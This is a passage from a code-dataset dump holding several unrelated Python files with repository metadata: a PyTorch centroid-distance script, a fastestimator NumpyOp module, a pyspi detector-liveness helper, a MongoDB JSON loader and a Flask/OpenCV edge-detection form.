input:x(ndarray):第一个样本的坐标\r\n y(ndarray):第二个样本的坐标\r\n p(int):等于1时为曼哈顿距离，等于2时为欧氏距离\r\n output:distance(float):x到y的距离\r\n '''\r\n dis2 = np.sum(np.abs(x-y)**p) # 计算\r\n dis = np.power(dis2,1/p)\r\n return dis\r\n\r\ndef mean_list(data,Cmass):\r\n '''\r\n input:data(ndarray):数据样本\r\n Cmass(ndarray):数据样本质心\r\n output:dis_list(list):样本到质心距离平均值\r\n '''\r\n dis_list = []\r\n for i in range(len(data)): # 遍历data数据，与质心cmass求距离\r\n dis_list.append(distance(Cmass,data[i][:]))\r\n dis_list = np.mean(dis_list) # 排序\r\n return dis_list\r\n\r\n\r\nimport torch\r\nfrom torch.autograd import Variable\r\nimport numpy as np\r\nimport seaborn as sns\r\nfrom torchvision import datasets, transforms\r\nfrom torch.utils.data import Dataset, DataLoader\r\nimport matplotlib.pyplot as plt\r\nfrom LeNet5 import LeNet5_2,LeNet5\r\nimport matplotlib.patheffects as PathEffects\r\nimport os\r\nfrom sklearn.manifold import TSNE\r\nimport SimpleITK as sitk\r\nfrom Mydataset import MyDataset\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\nEPOCH = 1\r\n\r\ntest_datapath = r'C:\\Users\\hello\\PycharmProjects\\HCC\\2D3Dfusion\\dataset2D/test/DMQ/Axial/'\r\ntest_txtpath = r'C:\\Users\\hello\\PycharmProjects\\HCC\\2D3Dfusion\\dataset2D/test.txt'\r\ntrain_datapath = r'C:\\Users\\hello\\PycharmProjects\\HCC\\2D3Dfusion\\dataset2D/train/DMQ/Axial/'\r\ntrain_txtpath = r'C:\\Users\\hello\\PycharmProjects\\HCC\\2D3Dfusion\\dataset2D/train.txt'\r\n\r\n\r\ntransforms_ = transforms.Compose([\r\n transforms.ToTensor(),\r\n # transforms.Normalize(mean=[0.5], std=[0.5])\r\n])\r\n\r\ntest_data = MyDataset(txt=test_txtpath, transform=transforms_, path=test_datapath)\r\n\r\n# 将数据集导入DataLoader，进行shuffle以及选取batch_size\r\ntest_data_loader = DataLoader(test_data, batch_size=32, shuffle=False, num_workers=0)\r\n#######################\r\n\r\n\r\nmodel_weight_path = \"leNet5_2D_4.pkl\"\r\n# model_weight_path = \"leNet5_2D_original3.pkl\"\r\nassert os.path.exists(model_weight_path), \"file {} does not exist.\".format(model_weight_path)\r\n\r\n# option1\r\nmodel = LeNet5_2()\r\nnodel=model.load_state_dict(torch.load(model_weight_path))\r\nmodel=model.to(device)\r\n\r\nfeature=[]\r\nlabel=[]\r\nmodel.eval()\r\n\r\nfor data, target in test_data_loader:\r\n data= data.to(device)\r\n target=target.to(device)\r\n data, target = Variable(data, volatile=True), Variable(target)\r\n x ,output= model(data)\r\n feature.extend(output.detach().cpu().numpy())\r\n label.extend(target.detach().cpu().numpy())\r\n\r\nfeature0=[]\r\nfeature1=[]\r\nfor i in range(len(label)):\r\n if label[i]==0:\r\n feature0.append(feature[i])\r\n else:\r\n feature1.append(feature[i])\r\n\r\ncmass0 = cal_Cmass(feature0)\r\ncmass1 = cal_Cmass(feature1)\r\n\r\nlist0 = mean_list(feature0,cmass0)\r\nlist1 = mean_list(feature1,cmass1)\r\nprint(list0)\r\nprint(list1)\r\n\r\nlist3=mean_list(feature0,cmass1)\r\nlist4=mean_list(feature1,cmass0)\r\nprint(list3)\r\nprint(list4)\r\n", "repo_name": "Lsx0802/discriminative", "sub_path": "AGDAF/centroid_example.py", "file_name": "centroid_example.py", "file_ext": "py", "file_size_in_byte": 3341, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.mean", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 61, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 61, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 62, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 62, "usage_type": "name"}, {"api_name": "Mydataset.MyDataset", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "LeNet5.LeNet5_2", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 89, "usage_type": "call"}]} {"seq_id": "33649919463", "text": "from typing import Any, Callable, Dict, Iterable, List, MutableMapping, TypeVar, Union\n\nimport numpy as np\nimport tensorflow as tf\nimport torch\n\nfrom fastestimator.op.op import Op, get_inputs_by_op, write_outputs_by_op\nfrom fastestimator.util.traceability_util import traceable\nfrom fastestimator.util.util import to_number\n\nTensor = TypeVar('Tensor', tf.Tensor, torch.Tensor, np.ndarray)\n\n\n@traceable()\nclass NumpyOp(Op):\n \"\"\"An Operator class which takes and returns numpy data.\n\n These Operators are used in fe.Pipeline to perform data pre-processing / augmentation. They may also be used in\n fe.Network to perform postprocessing on data.\n\n Args:\n inputs: Key(s) from which to retrieve data from the data dictionary.\n outputs: Key(s) under which to write the outputs of this Op back to the data dictionary.\n mode: What mode(s) to execute this Op in. For example, \"train\", \"eval\", \"test\", or \"infer\". To execute\n regardless of mode, pass None. To execute in all modes except for a particular one, you can pass an argument\n like \"!infer\" or \"!train\".\n \"\"\"\n def __init__(self,\n inputs: Union[None, str, Iterable[str]] = None,\n outputs: Union[None, str, Iterable[str]] = None,\n mode: Union[None, str, Iterable[str]] = None) -> None:\n super().__init__(inputs=inputs, outputs=outputs, mode=mode)\n # in_place_edits tracks whether the .forward() method of this op will perform in-place edits of numpy arrays.\n # This is inferred automatically by the system and is used for memory management optimization. If you are\n # developing a NumpyOp which does in-place edits, the best practice is to set this to True in your init method.\n self.in_place_edits = False\n\n def forward(self, data: Union[np.ndarray, List[np.ndarray]],\n state: Dict[str, Any]) -> Union[np.ndarray, List[np.ndarray]]:\n \"\"\"A method which will be invoked in order to transform data.\n\n This method will be invoked on individual elements of data before any batching / axis expansion is performed.\n\n Args:\n data: The arrays from the data dictionary corresponding to whatever keys this Op declares as its `inputs`.\n state: Information about the current execution context, for example {\"mode\": \"train\"}.\n\n Returns:\n The `data` after applying whatever transform this Op is responsible for. It will be written into the data\n dictionary based on whatever keys this Op declares as its `outputs`.\n \"\"\"\n return data\n\n def forward_batch(self, data: Union[Tensor, List[Tensor]],\n state: Dict[str, Any]) -> Union[np.ndarray, List[np.ndarray]]:\n \"\"\"A method which will be invoked in order to transform a batch of data.\n\n This method will be invoked on batches of data during network postprocessing. Note that the inputs may be numpy\n arrays or TF/Torch tensors. Outputs are expected to be Numpy arrays, though this is not enforced. Developers\n should probably not need to override this implementation unless they are building an op specifically intended\n for postprocessing.\n\n Args:\n data: The arrays from the data dictionary corresponding to whatever keys this Op declares as its `inputs`.\n state: Information about the current execution context, for example {\"mode\": \"train\"}.\n\n Returns:\n The `data` after applying whatever transform this Op is responsible for. It will be written into the data\n dictionary based on whatever keys this Op declares as its `outputs`.\n \"\"\"\n if isinstance(data, List):\n data = [to_number(elem) for elem in data]\n batch_size = data[0].shape[0]\n data = [[elem[i] for elem in data] for i in range(batch_size)]\n else:\n data = to_number(data)\n data = [data[i] for i in range(data.shape[0])]\n results = [self.forward(elem, state) for elem in data]\n if self.out_list:\n results = [np.array(col) for col in [[row[i] for row in results] for i in range(len(results[0]))]]\n else:\n results = np.array(results)\n return results\n\n\n@traceable()\nclass Delete(NumpyOp):\n \"\"\"Delete key(s) and their associated values from the data dictionary.\n\n The system has special logic to detect instances of this Op and delete its `inputs` from the data dictionary.\n\n Args:\n keys: Existing key(s) to be deleted from the data dictionary.\n \"\"\"\n def __init__(self, keys: Union[str, List[str]], mode: Union[None, str, Iterable[str]] = None) -> None:\n super().__init__(inputs=keys, mode=mode)\n\n def forward(self, data: Union[np.ndarray, List[np.ndarray]], state: Dict[str, Any]) -> None:\n pass\n\n\n@traceable()\nclass LambdaOp(NumpyOp):\n \"\"\"An Operator that performs any specified function as forward function.\n\n Args:\n fn: The function to be executed.\n inputs: Key(s) from which to retrieve data from the data dictionary.\n outputs: Key(s) under which to write the outputs of this Op back to the data dictionary.\n mode: What mode(s) to execute this Op in. For example, \"train\", \"eval\", \"test\", or \"infer\". To execute\n regardless of mode, pass None. To execute in all modes except for a particular one, you can pass an argument\n like \"!infer\" or \"!train\".\n \"\"\"\n def __init__(self,\n fn: Callable,\n inputs: Union[None, str, Iterable[str]] = None,\n outputs: Union[None, str, Iterable[str]] = None,\n mode: Union[None, str, Iterable[str]] = None):\n super().__init__(inputs=inputs, outputs=outputs, mode=mode)\n self.fn = fn\n self.in_list = True\n\n def forward(self, data: List[np.ndarray], state: Dict[str, Any]) -> Union[np.ndarray, List[np.ndarray]]:\n return self.fn(*data)\n\n\ndef forward_numpyop(ops: List[NumpyOp], data: MutableMapping[str, Any], state: Dict[str, Any],\n batched: bool = False) -> None:\n \"\"\"Call the forward function for list of NumpyOps, and modify the data dictionary in place.\n\n Args:\n ops: A list of NumpyOps to execute.\n data: The data dictionary.\n state: Information about the current execution context, ex. {\"mode\": \"train\"}. Must contain at least the mode.\n batched: Whether the `data` is batched or not.\n \"\"\"\n for op in ops:\n op_data = get_inputs_by_op(op, data, copy_on_write=op.in_place_edits)\n try:\n op_data = op.forward_batch(op_data, state) if batched else op.forward(op_data, state)\n except ValueError as err:\n if err.args[0] == 'assignment destination is read-only':\n # If the numpy error text changes we'll need to make adjustments in the future\n op.in_place_edits = True\n op_data = get_inputs_by_op(op, data, copy_on_write=op.in_place_edits)\n op_data = op.forward_batch(op_data, state) if batched else op.forward(op_data, state)\n else:\n raise err\n if isinstance(op, Delete):\n for key in op.inputs:\n del data[key]\n if op.outputs:\n write_outputs_by_op(op, data, op_data)\n", "repo_name": "Phillistan16/fastestimator", "sub_path": "fastestimator/op/numpyop/numpyop.py", "file_name": "numpyop.py", "file_ext": "py", "file_size_in_byte": 7361, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TypeVar", "line_number": 11, "usage_type": "call"}, {"api_name": "tensorflow.Tensor", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 11, "usage_type": "attribute"}, {"api_name": "fastestimator.op.op.Op", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 38, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 39, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 54, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 54, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 55, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 55, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 71, "usage_type": "argument"}, {"api_name": "fastestimator.util.util.to_number", "line_number": 72, "usage_type": "call"}, {"api_name": "fastestimator.util.util.to_number", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 55, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 55, "usage_type": "name"}, {"api_name": "fastestimator.util.traceability_util.traceable", "line_number": 14, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 98, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 98, "usage_type": "name"}, {"api_name": "fastestimator.util.traceability_util.traceable", "line_number": 86, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 117, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 117, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 123, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 123, "usage_type": "name"}, {"api_name": "fastestimator.util.traceability_util.traceable", "line_number": 102, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.MutableMapping", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 127, "usage_type": "name"}, {"api_name": "fastestimator.op.op.get_inputs_by_op", "line_number": 138, "usage_type": "call"}, {"api_name": "fastestimator.op.op.get_inputs_by_op", "line_number": 145, "usage_type": "call"}, {"api_name": "fastestimator.op.op.write_outputs_by_op", "line_number": 153, "usage_type": "call"}]} {"seq_id": "38167483752", "text": "import numpy as np\nfrom astropy.time.core import Time\nfrom datetime import datetime\nimport h5py\nimport os\n\nfrom pyspi.io.package_data import get_path_of_internal_data_dir\nfrom pyspi.utils.function_utils import get_time_object\n\ndouble_names = {19: [0, 1], 20: [0, 2], 21: [0, 3], 22: [0, 4], 23: [0, 5],\n 24: [0, 6], 25: [1, 2], 26: [1, 6], 27: [1, 7], 28: [1, 8],\n 29: [1, 9], 30: [2, 3], 31: [2, 9], 32: [2, 10], 33: [2, 11],\n 34: [3, 4], 35: [3, 11], 36: [3, 12], 37: [3, 13], 38: [4, 5],\n 39: [4, 13], 40: [4, 14], 41: [4, 15], 42: [5, 6], 43: [5, 15],\n 44: [5, 16], 45: [5, 17], 46: [6, 7], 47: [6, 17], 48: [6, 18],\n 49: [7, 8], 50: [7, 18], 51: [8, 9], 52: [9, 10], 53: [10, 11],\n 54: [11, 12], 55: [12, 13], 56: [13, 14], 57: [14, 15],\n 58: [15, 16], 59: [16, 17], 60: [17, 18]\n }\n\ntriple_names = {61: [0, 1, 2], 62: [0, 2, 3], 63: [0, 3, 4], 64: [0, 4, 5],\n 65: [0, 5, 6], 66: [0, 6, 1], 67: [1, 2, 9],\n 68: [1, 6, 7], 69: [1, 7, 8], 70: [1, 8, 9], 71: [2, 3, 11],\n 72: [2, 9, 10], 73: [2, 10, 11], 74: [3, 4, 13],\n 75: [3, 11, 12], 76: [3, 12, 13],\n 77: [4, 5, 15], 78: [4, 13, 14],\n 79: [4, 14, 15], 80: [5, 6, 17],\n 81: [5, 15, 16], 82: [5, 16, 17],\n 83: [6, 7, 18], 84: [6, 17, 18]}\n\n\ndef get_live_dets(time, event_types=[\"single\", \"double\", \"triple\"]):\n \"\"\"\n Get the live dets for a given time\n\n :param time: Live dets at a given time. Either\n \"YYMMDD HHMMSS\" or as astropy time object\n :param event_types: which event types?\n List with single, double and/or triple\n\n :returns: array of live dets\n \"\"\"\n\n time = get_time_object(time)\n\n # All single dets\n live_dets = np.arange(19)\n dead_dets = []\n # Check if time is after the failure times\n # (from https://www.isdc.unige.ch/integral/download/osa/doc/10.1/\n # osa_um_spi/node69.html )\n if time > Time(datetime.strptime('031206 060000', '%y%m%d %H%M%S')):\n live_dets = live_dets[live_dets != 2]\n dead_dets.append(2)\n if time > Time(datetime.strptime('040717 082006', '%y%m%d %H%M%S')):\n live_dets = live_dets[live_dets != 17]\n dead_dets.append(17)\n if time > Time(datetime.strptime('090219 095957', '%y%m%d %H%M%S')):\n live_dets = live_dets[live_dets != 5]\n dead_dets.append(5)\n if time > Time(datetime.strptime('100527 124500', '%y%m%d %H%M%S')):\n live_dets = live_dets[live_dets != 1]\n dead_dets.append(1)\n\n all_dets = np.array([])\n if \"single\" in event_types:\n all_dets = np.concatenate([all_dets, live_dets])\n\n if \"double\" in event_types:\n live_double_dets = []\n for key, value in zip(double_names.keys(),\n double_names.values()):\n dead = False\n for v in value:\n if v in dead_dets:\n dead = True\n\n if not dead:\n live_double_dets.append(key)\n all_dets = np.concatenate([all_dets,\n live_double_dets])\n if \"triple\" in event_types:\n live_triple_dets = []\n for key, value in zip(triple_names.keys(),\n triple_names.values()):\n dead = False\n for v in value:\n if v in dead_dets:\n dead = True\n\n if not dead:\n live_triple_dets.append(key)\n all_dets = np.concatenate([all_dets,\n live_triple_dets])\n return np.array(all_dets, dtype=int)\n\n\ndef get_live_dets_pointing(pointing,\n event_types=[\"single\", \"double\", \"triple\"]):\n \"\"\"\n Get livedets for a given pointing id\n\n :param pointing: pointing id\n :param event_types: which event types?\n List with single, double and/or triple\n\n :returns:\n \"\"\"\n # get end time of pointing\n id_file_path = os.path.join(get_path_of_internal_data_dir(),\n 'id_data_time.hdf5')\n with h5py.File(id_file_path, \"r\") as f:\n idx = np.argwhere(f[\"ID\"][()] == pointing.encode('utf-8'))\n assert len(idx) != 0, \"Poiinting not found in database\"\n idx = idx[0,0]\n\n isdc_mjd_time = f[\"Start\"][idx]\n\n time = Time(isdc_mjd_time+51544, format='mjd', scale='utc')\n\n return get_live_dets(time, event_types)\n", "repo_name": "BjoernBiltzinger/pyspi", "sub_path": "pyspi/utils/livedets.py", "file_name": "livedets.py", "file_ext": "py", "file_size_in_byte": 4525, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyspi.utils.function_utils.get_time_object", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "astropy.time.core.Time", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "name"}, {"api_name": "astropy.time.core.Time", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "astropy.time.core.Time", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "name"}, {"api_name": "astropy.time.core.Time", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pyspi.io.package_data.get_path_of_internal_data_dir", "line_number": 110, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 113, "usage_type": "call"}, {"api_name": "astropy.time.core.Time", "line_number": 119, "usage_type": "call"}]} {"seq_id": "27295063279", "text": "import pymongo\nimport json\n\nwith open('newrlm.json', 'r') as json_file:\n data = json.load(json_file)\n\nmydb = None\n\nfor item in data:\n if item['type'] == 'table':\n mycol = mydb[item['name']]\n mylist = item['data']\n mycol.insert_many(mylist)\n\n if item['type'] == 'database':\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n mydb = myclient[item['name']]", "repo_name": "HagarHaytham/Database-Optmization", "sub_path": "data_generation/NOSQL.py", "file_name": "NOSQL.py", "file_ext": "py", "file_size_in_byte": 409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 5, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 16, "usage_type": "call"}]} {"seq_id": "73059665511", "text": "from flask_wtf import FlaskForm\nfrom flask import Flask, session, request, redirect, url_for\nfrom wtforms import TextField, SubmitField\nfrom flask_wtf.file import FileField, FileRequired, FileAllowed\nfrom random import randint\nimport numpy as np\nfrom cv2 import cv2 as cv2\nimport os\nfrom werkzeug.utils import secure_filename\n\nroot = os.path.dirname(os.path.abspath(__file__))\n\n\nclass Edge(FlaskForm):\n validators = [FileRequired(message='There was no file!'),\n FileAllowed(['png', 'jpg'], message='ທ່ານ​ຕ້ອງ​ເລືອກ​ໄຟ​ຣ png, jpg ເທົ່າ​ນັ້ນ')]\n photo = FileField('', validators=validators)\n\n def UploadPhoto(self, form):\n if form.validate_on_submit():\n f = form.photo.data\n filename = secure_filename(f.filename)\n ext = filename.rsplit(\".\", 1)[1]\n filename = str(randint(1000000000, 9999999999)) + '.' + ext\n f.save(os.path.join(root, '..', 'static', 'photos', filename))\n session['img_name_org_edge'] = filename\n\n def CovertCanny(self):\n img = cv2.imread(os.path.join(root, '..', 'static', 'photos', session['img_name_org_edge']))\n edges = cv2.Canny(img, 100, 200)\n filename = str(randint(1000000000, 9999999999)) + session['img_name_org_edge']\n cv2.imwrite(os.path.join(root, '..', 'static', 'photos', filename), edges)\n session['img_name_covert_edge'] = filename\n session['covert_title_edge'] = \"Detection By Canny\"\n\n def CovertSobel(self):\n img = cv2.imread(os.path.join(root, '..', 'static', 'photos', session['img_name_org_edge']))\n sobelx = cv2.Sobel(img, cv2.CV_64F, 1, 0, ksize=5) # x\n # sobely = cv2.Sobel(img, cv2.CV_64F, 0, 1, ksize=5) # y\n filename = str(randint(1000000000, 9999999999)) + session['img_name_org_edge']\n cv2.imwrite(os.path.join(root, '..', 'static', 'photos', filename), sobelx)\n session['img_name_covert_edge'] = filename\n session['covert_title_edge'] = \"Detection By Sobel\"\n\n def CovertLaplacian(self):\n img = cv2.imread(os.path.join(root, '..', 'static', 'photos', session['img_name_org_edge']))\n laplacian = cv2.Laplacian(img, cv2.CV_64F)\n filename = str(randint(1000000000, 9999999999)) + session['img_name_org_edge']\n cv2.imwrite(os.path.join(root, '..', 'static', 'photos', filename), laplacian)\n session['img_name_covert_edge'] = filename\n session['covert_title_edge'] = \"Detection By Laplacian\"\n\n def CovertCountour(self):\n img = cv2.imread(os.path.join(root, '..', 'static', 'photos', session['img_name_org_edge']))\n imgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(imgray, 127, 255, 0)\n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cv2.drawContours(img, contours, -1, (0, 255, 0), 3)\n\n filename = str(randint(1000000000, 9999999999)) + session['img_name_org_edge']\n cv2.imwrite(os.path.join(root, '..', 'static', 'photos', filename), img)\n session['img_name_covert_edge'] = filename\n session['covert_title_edge'] = \"Detection By Countour\"\n", "repo_name": "hm-software56/computer-gv", "sub_path": "models/edge.py", "file_name": "edge.py", "file_ext": "py", "file_size_in_byte": 3218, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 14, "usage_type": "name"}, {"api_name": "flask_wtf.file.FileRequired", "line_number": 15, "usage_type": "call"}, {"api_name": "flask_wtf.file.FileAllowed", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_wtf.file.FileField", "line_number": 17, "usage_type": "call"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 22, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 26, "usage_type": "name"}, {"api_name": "cv2.cv2.imread", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 29, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 29, "usage_type": "name"}, {"api_name": "cv2.cv2.Canny", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 30, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 31, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 32, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 34, "usage_type": "name"}, {"api_name": "cv2.cv2.imread", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 37, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 37, "usage_type": "name"}, {"api_name": "cv2.cv2.Sobel", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 38, "usage_type": "name"}, {"api_name": "cv2.cv2.CV_64F", "line_number": 38, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 40, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 43, "usage_type": "name"}, {"api_name": "cv2.cv2.imread", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 46, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 46, "usage_type": "name"}, {"api_name": "cv2.cv2.Laplacian", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 47, "usage_type": "name"}, {"api_name": "cv2.cv2.CV_64F", "line_number": 47, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 48, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 49, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 51, "usage_type": "name"}, {"api_name": "cv2.cv2.imread", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 54, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 54, "usage_type": "name"}, {"api_name": "cv2.cv2.cvtColor", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 55, "usage_type": "name"}, {"api_name": "cv2.cv2.COLOR_BGR2GRAY", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.cv2.threshold", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 56, "usage_type": "name"}, {"api_name": "cv2.cv2.findContours", "line_number": 57, "usage_type": "call"}, 